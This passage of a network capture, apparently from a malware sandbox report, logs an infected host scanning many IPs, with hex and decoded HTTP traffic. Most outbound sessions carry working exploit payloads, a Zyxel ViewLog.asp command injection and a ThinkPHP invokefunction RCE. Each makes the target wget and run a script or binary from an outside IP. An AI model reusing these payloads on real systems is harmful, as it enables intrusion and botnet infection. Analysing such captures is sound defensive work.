3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.13	41550	94.122.86.111	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:22.817749977 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.13	46618	95.192.57.151	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:23.084444046 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:23.884459972 CET	289	IN	HTTP/1.0 302 Found Date: Mon, 04 Mar 2024 14:08:13 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, must-revalidate, private Expires: Thu, 31 Dec 1970 00:00:00 GMT Pragma: no-cache Location: login.jsp Connection: close Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 6c 6f 67 69 6e 2e 6a 73 70 Data Ascii: Location: login.jsp

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.13	39182	112.213.86.207	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:23.112358093 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:23.512130022 CET	394	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:02:04 GMT Server: Apache/2 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.13	48090	31.136.13.42	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:23.569448948 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:26.742908955 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:32.886856079 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:44.918802023 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.13	43794	95.164.0.169	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:23.569529057 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.13	54270	62.29.78.235	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:23.612575054 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.13	59356	94.121.144.96	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:24.047197104 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.13	46664	95.192.57.151	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:25.064106941 CET	367	IN	HTTP/1.0 400 Invalid Request Date: Mon, 04 Mar 2024 14:08:14 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, must-revalidate, private Expires: Thu, 31 Dec 1970 00:00:00 GMT Pragma: no-cache Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 74 74 70 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Http Error</title></head><body><h2>400 Invalid Request</h2> Invalid Request</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.13	51550	85.122.224.156	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:26.461405039 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.13	57122	31.200.86.79	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:26.510015965 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.13	42004	94.120.5.246	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:26.510552883 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.13	59854	95.142.206.68	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:26.605479956 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:26.777158976 CET	311	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Mon, 04 Mar 2024 14:08:26 GMT Content-Type: text/html Content-Length: 152 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.13	59722	95.217.241.216	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:26.624214888 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:26.812675953 CET	292	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:26 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.13	47224	88.221.5.217	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:26.796271086 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:26.968647957 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:08:26 GMT Date: Mon, 04 Mar 2024 14:08:26 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 35 65 36 36 35 35 66 26 23 34 36 3b 31 37 30 39 35 36 31 33 30 36 26 23 34 36 3b 61 36 30 65 36 33 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.d5e6655f.1709561306.a60e631</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.13	50752	88.65.211.189	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:26.802413940 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:26.982049942 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:26 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.13	43262	112.194.67.101	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:26.926227093 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:27.407145977 CET	483	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 04 Mar 2024 14:08:27 GMT Content-Type: text/html Content-Length: 249 Connection: close Via: vcache16.cn4451[,0] Timing-Allow-Origin: * EagleId: 0000000017095613072428100e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.13	43264	112.194.67.101	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:26.926340103 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:27.405081987 CET	482	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 04 Mar 2024 14:08:27 GMT Content-Type: text/html Content-Length: 249 Connection: close Via: vcache6.cn4451[,0] Timing-Allow-Origin: * EagleId: 0000000017095613072475725e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.13	48354	95.81.162.213	80

Timestamp	Bytes transferred	Direction	Data
